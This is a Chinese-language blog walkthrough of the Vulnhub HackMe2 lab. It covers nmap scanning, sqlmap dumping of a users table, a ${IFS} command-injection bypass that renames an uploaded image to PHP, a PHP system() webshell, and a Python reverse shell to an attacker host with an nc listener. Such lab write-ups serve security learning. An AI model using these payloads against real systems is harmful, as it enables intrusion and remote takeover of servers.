hackme2 复现

本文详细描述了一次针对Vulnhub上HackMe靶场的渗透测试过程,包括环境搭建、使用KaliLinux进行Nmap扫描发现IP和端口,利用SQL注入漏洞获取数据库信息,然后通过命令执行漏洞上传并执行PHP代码,最终实现反弹shell控制目标系统。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

环境下载

下载链接:https://www.vulnhub.com/entry/hackme-2,618/
image.png

下载完成

image.png

环境搭建

打开虚拟机-》主页或虚拟机导航栏文件-》点击打开-》选中下载好的文件打开
打开之后
image.png
创建成功

查找ip与端口

查看网络连接模式

image.png

查看NAT模式下,虚拟机分配的ip地址段

image.png
image.png

开启kali nmap扫描IP地址段

(kali网络模式切换为NAT模式,确保都在同一网段,两台机器之间可以通信)

nmap 192.168.3.0/24  			//扫描该网段存活的主机

image.png
得到ip

扫描端口

nmap 192.168.3.128 -p-			//扫描全端口

image.png

访问页面

image.png

注册登录,看看
image.png

SQL注入

搜索框数据交互,存在SQL注入,post提交方式,抓包(和之前复现的hackme 靶场一样)
image.png

SQLmap工具注入

sqlmap -r ini.txt --current-db

解释:sqlmap -r 指定一个文件 、--current-db  获取当前数据库

image.png

sqlmap -r ini.txt -D webapphacking --tables

解释:获取指定webapphacking数据库下的所有表

image.png

sqlmap -r ini.txt -D webapphacking -T users --dump

解释:获取webapphacking数据库下users表中的数据

image.png
解密之后。用户名:superadmin 密码:Uncrackable

用管理员的账号密码登录页面查看

image.png

测试文件上传是否有漏洞

image.png
image.png
image.png

测试下面的功能点

image.png
image.png
可能存在命令注入

验证命令注入

image.png

漏洞存在(绕过过滤)

image.png
image.png

查看当前页面源码内容

image.png

利用该漏洞与泄露的文件上传路径

搭配试试,上传.jpg图片马 图片马内容为phpinfo();
image.png

在bp中,利用代码执行漏洞,修改上传文件的后缀名

fname=1&lname=system('mv${IFS}/var/www/html/uploads/year2020/x.jpg${IFS}/var/www/html/uploads/year2020/x.php')&search=Search+User

image.png

拼接路径浏览测试是否成功

image.png

同样的原理,那么就可以上传一句话木马,修改后缀

image.png
浏览访问
image.png

重点:

访问不行
这里注意,存在的漏洞是命令执行漏洞,所以上传的一句话木马函数不是eval是system(已经踩过坑了)

<?php @system($_GET[cmd]);?>

结合两个功能点,反弹shell

上传命令执行的一句话木马
image.png

这里给大家推荐一个在线生成反弹shell命令的网站
https://weibell.github.io/reverse-shell-generator/

借用hackbar访问url,反弹shell

image.png

export RHOST="192.168.3.129";
export RPORT=8000;python -c 'import sys,socket,os,pty;
s=socket.socket();
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn("/bin/sh")'

复制下来修改一下

拼接,上传的一句话木马文件,跟上传递的参数

http://192.168.3.128/uploads/year2020/fantanML.php
?cmd=export RHOST="192.168.3.129";
export RPORT=8000;python -c 'import sys,socket,os,pty;
s=socket.socket();
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn("/bin/sh")'

kali设置监听

nc -lvnp 8000

image.png

浏览器传递反弹shell的请求

image.png
image.png
image.png

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值